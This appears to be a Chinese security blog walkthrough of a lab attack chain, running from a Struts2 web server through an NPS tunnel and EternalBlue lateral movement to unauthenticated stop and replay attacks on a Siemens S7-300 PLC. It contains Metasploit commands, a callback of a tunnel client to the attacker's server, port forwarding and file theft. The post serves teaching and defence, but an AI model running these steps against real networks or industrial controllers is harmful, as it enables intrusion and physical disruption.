<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】工控攻防演示——從外網到內網控制系統設備的入侵

    VSole2021-08-09 17:12:14

    概述

    1.實驗目的

    通過工控攻防演示讓初學者學習web安全、內網滲透、工控安全相關知識技能

    2.靶場信息

    本實驗通過vmware 搭建了靶場的外網和內網環境,在內網環境中,可以連接到真實的PLC進行漏洞利用。

    網絡拓撲如下:

    該網絡環境中,有兩臺攻擊機處于模擬外網中,分別是一臺 windows7 主機和 kali 主機,通過這兩臺主機進行漏洞利用,獲取內網訪問權限,進一步獲取西門子PLC的控制權,從而控制城市沙盤。

    演示過程

    1.資產發現

    登錄 kali 攻擊機,輸入 ifconfig 查看 ip 段,

    接著對該網段C段進行端口掃描

    nmap -Pn -n —open 192.168.14.0/24

    發現192.168.14.10 開放了 80 和 8080 端口,用瀏覽器分別訪問這兩個端口

    發現80端口存在一個網站,8080端口為tomcat的默認界面。

    2.目錄掃描

    使用kali 自帶的 dirbrute 工具來對8080端口進行目錄掃描

    設置好字典,對 http://192.168.14.10:8080/ 點擊start進行目錄掃描

    發現一個 test 目錄

    訪問發現是struts2-showcase測試項目

    3.Struts2 漏洞利用

    出現struts2框架,可以嘗試利用struts2命令執行漏洞。輸入 msfconsole 打開 msf,如果第一次運行,可以先運行 msfdb init 來初始化 msf 數據庫

    輸入 search struts2 來搜索 struts2 相關漏洞

    加載struts2利用模塊

    接下來在msf 設置目標信息并攻擊,其中 rhosts 為 struts2 網站的 ip,rport 為網站的端口,targeturi 為存在漏洞的地址。輸入 exploit 開始攻擊

    可以看到成功獲取該struts2 網站的權限,返回了一個 meterpreter shell,輸入sysinfo可以看到這臺主機的ip為 192.168.90.10, 是linux系統,版本為 Ubuntu 16.04。

    4.Nps 內網代理

    由于已經獲取了位于內網的linux主機權限,可以通過這個meterpreter shell 來設置socks代理,這樣就可以msf中訪問內網中的其它主機和端口了。

    先下載nps客戶端和服務端到kali攻擊機中

    解壓安裝nps

    ./nps install

    啟動nps

    nps start

    訪問本地Ip的8080 端口,鏈接為http://192.168.14.4:8080 可訪問nps管理后臺,輸入admin/123 登錄。點擊添加客戶端

    然后在msf中上傳linux_amd64_client.tar.gz客戶端到內網linux主機的/tmp/目錄中。

    upload /root/nps/linux_amd64_client.tar.gz /tmp/nps.tar.gz

    在linux主機中執行解壓

    回到nps后臺中,展開客戶端,復制客戶端命令

    在msf meterpreter 中執行下面命令讓客戶端連上服務器

    execute -f /tmp/npc -a ‘-server=192.168.14.4:8024 -vkey=0fr8k4rsh8tjl8ut -type=tcp’

    在后臺管理處看到客戶端狀態是在線即成功連上nps服務器。

    接著在后臺管理處添加一個socks代理,輸入剛才創建的客戶端id,端口為1086

    此時可以通過本地的1086端口的socks代理訪問192.168.90.0 網段的主機。在msf中輸入下面命令設置socks代理。

    setg proxies socks5:127.0.0.1:1086

    5.永恒之藍橫向移動

    設置好到進入192.168.90.0 網段的socks代理后,可以使用msf對該網段進行掃描,先掃描永恒之藍漏洞

    發現 192.168.90.60 主機存在 ms17-010漏洞,接下來使用 ms17-010 漏洞利用模塊進行攻擊。由于使用了socks代理,設置反向連接payload時,要設置ReverseAllowProxy

    成功獲取存在永恒之藍漏洞主機的權限。

    6.信息收集-發現TIA項目

    通過查看用戶的桌面,發現了Sand_V16目錄中存在ap16后綴名的文件。

    這是西門子組態軟件 TIA Portal (博途)的項目文件,是用于對西門子可編程邏輯控制器(programmable logic controller,簡稱PLC)進行編程控制的軟件。

    先下載該項目到本地,使用下面命令下載

    download c:/users/admin/desktop/Sand_V16.zip

    7.查看TIA項目

    下載完項目后,復制出到一個 windows10系統中解壓。在本地電腦上裝一個TIA Portal V16,然后打開該項目,點擊項目視圖

    可以看到該項目中有兩個PLC,一個是S7-300,一個是S7-1200。本演示中主要介紹S7-300

    8.西門子S7-300遠程啟停漏洞利用

    西門子S7-300是西門子的一款可編程邏輯控制器,可編程控制器由內部CPU,指令及資料存儲器、輸入輸出單元、電源模塊、數字模擬等單元所模塊化組合成。PLC可接收(輸入)經過CPU處理后,發送(輸出)多種類型的電氣或電子信號,并使用他們來控制或監督幾乎所有種類的機械與電氣系統。

    西門子S7-300 存在遠程啟停,數據重放等漏洞,可以在不進行身份認證的情況下直接對PLC進行啟動、關閉和修改數據。

    先獲取該S7-300的IP,在項目中展開S7-300,雙擊設備組態,在屬性中的以太網地址中查看IP地址,發現IP為192.168.30.60。

    接著在獲取權限的windows內網機器上ping 192.168.30.60。發現可以ping通

    S7-300的端口一般是102端口,先使用msf的端口轉發功能,把192.168.30.60 的102端口轉發到kali攻擊機上,方便訪問

    portfwd add -l 102 -r 192.168.30.60 -p 102

    使用 nmap掃描本地102端口,發現已經轉發成功了

    接著在kali 攻擊機上下載 isf 攻擊工具,里面包含了s7-300的攻擊模塊,當然也可以使用其他腳本也行

    運行完后,可以看到PLC進入了stop狀態,也就是PLC停止了。STOP狀態燈亮起

    啟動plc

    set command 1

    run

    下面是PLC控制的沙盤在PLC被關閉后的效果圖

    直接關閉PLC,會導致正在運行的工業系統停止運行,從而導致嚴重的后果。可以想象一下正在運行的列車失去了控制是什么后果。

    9.西門子S7-300重放攻擊

    西門子S7-300 沒有防重放機制,只要使用wireshark等抓包工具獲取了某個功能的數據包,即可重放該數據。例如Q0.6是控制沙盤中信大廈通電的輸出,現在要對它單獨進行修改,而不影響其它輸出。可以在博途對Q0.6進行強制修改,然后抓取該數據包,進行重放即可。

    在S7-300的強制表中點擊監控變量,輸入Q0.6,右鍵強制修改為0

    使用wireshark抓取該數據包,發送的是S7COMM協議,該協議的詳細介紹網上比較多資料,這里只對要修改的地方進行介紹,下圖中 Force代表開啟強制修改,Address to force 為要修改的地址,圖中是Q0.6,其中Startaddress代表Q0.6的0, Bitposition 代表Q0.6的6。修改這兩個數據可以修改任意輸出,如Q1.1。其中的Value to force是要修改的值,在Data字段中為00,也就是要修改成0。

    第一次開啟強制認證時,會在PLC中創建一個對象,并且返回該對象的引用ID,下圖中的Force請求響應中的Sequence number字段為4,代表創建的對象引用ID為4,后續修改強制表的時候會用到該ID。

    繼續強制Q0.6的值為1,可以看到發送的請求變成了Replace job,也就是修改對象,其中的 reference sequence number 為4 ,也就是修改了前面 Force 請求中創建的對象。修改的地址也是Q0.6,值為1

    然后右鍵點擊停止強制,發送了Delete job 請求,也就是刪除了該強制表對象

    其中的 Job reference number 為4。刪除后,所有強制修改失效。

    經過分析后,可以編寫一個python腳本來對PLC的值進行修改。在對應的協議數據中復制tcp payload為hexstream,然后進行相應的修改并重放即可實現對指定值的修改。

    下面編寫一個模塊腳本來對PLC的輸出值進行強制修改

    代碼中,在Force請求發送后,會記錄reference number 用于后續的修改

    把腳本放在exploits/plcs/siemens/ 目錄中

    通過下面命令來使用

    發送前S7-300的Q0.6是通電的,中信大廈正常運行

    發送后S7-300的Q0.6關閉,中信大廈關閉。

    直接修改PLC的關鍵狀態,可能會導致嚴重的后果,如震網攻擊中通過改變離心機轉數來破壞伊朗的核設備。

    總結

    本次攻防演示中,通過模擬外網攻擊進入內網環境,對控制工業設備的PLC進行了攻擊。整體的攻擊過程為:外網web服務器-》內網西門子工程師站-》西門子S7-300 PLC。其主要目的是針對工控安全感興趣的愛好者學習,相互交流。

    端口轉發s7-300
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    通過工控攻防演示讓初學者學習web安全、內網滲透、工控安全相關知識技能。
    作者 | 博智非攻研究院可編程邏輯控制器(PLC)越來越多地連接和集成到工業物聯網(IIoT)中,以實現更好
    工業互聯網安全的落地第一步,是確保工控環境中的防護能力,之后是檢測/審計能力。本次《工業互聯網安全能力指南》的發布內容為報告中的工控防護能力部分,以及工控檢測/審計能力部分。
    最終通過登錄成功后得到存在漏洞的后端接口,通過命令執行getshell。一個證書中包含了公鑰、持有者信息、證明證書內容有效的簽名以及證書有效期,還有一些其他額外信息。比對兩個摘要,如果匹配,則說明這個證書是被CA驗證過合法證書,里面的公鑰等信息是可信的。為了達成目標,BurpSuite必須:生成一對公私鑰,并將公鑰和目標域名綁定并封裝為證書。
    奇安信威脅情報中心:本周高級威脅情報解讀(2021.11.04~11.11)
    記得他當時是在本地模擬的一個實戰場景來做的這個測試實驗(繞過安全防護進行端口轉發)。
    段時間在一次內網中遇到了一個問題,當時想了很多辦法,雖然最終沒能解決但是也學了很多東西。
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口
    SSH代理轉發
    2022-03-04 22:03:04
    瀏覽器開啟代理SOCK5可以看到IP發生變化四、SSH本地轉發網絡拓撲圖1.kali能與邊界服務器互通。這里用ubuntu作為邊界服務器sudo apt-get install openssh-server //安裝SSH服務
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类